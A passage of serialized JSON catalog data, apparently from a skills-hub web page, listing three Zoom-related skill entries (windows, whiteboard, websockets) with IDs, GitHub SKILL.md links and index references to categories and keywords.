sdk","apps",{"skillNo":108,"name":109,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":28},"01M6FKJ9EDH9Q5VWDF8HAJRSP0","windows","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwindows\u002FSKILL.md",[],[109],{"skillNo":114,"name":115,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":119,"publishedAt":28},"01M6FKJ666BEEFC3AE9GJ72Q93","whiteboard","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwhiteboard\u002FSKILL.md",[118],{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},[115],{"skillNo":121,"name":122,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":28},"01M6FKJ21WFCDGTJQ2Q91T9DVW","websockets","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwebsockets\u002FSKILL.md",[],[122]]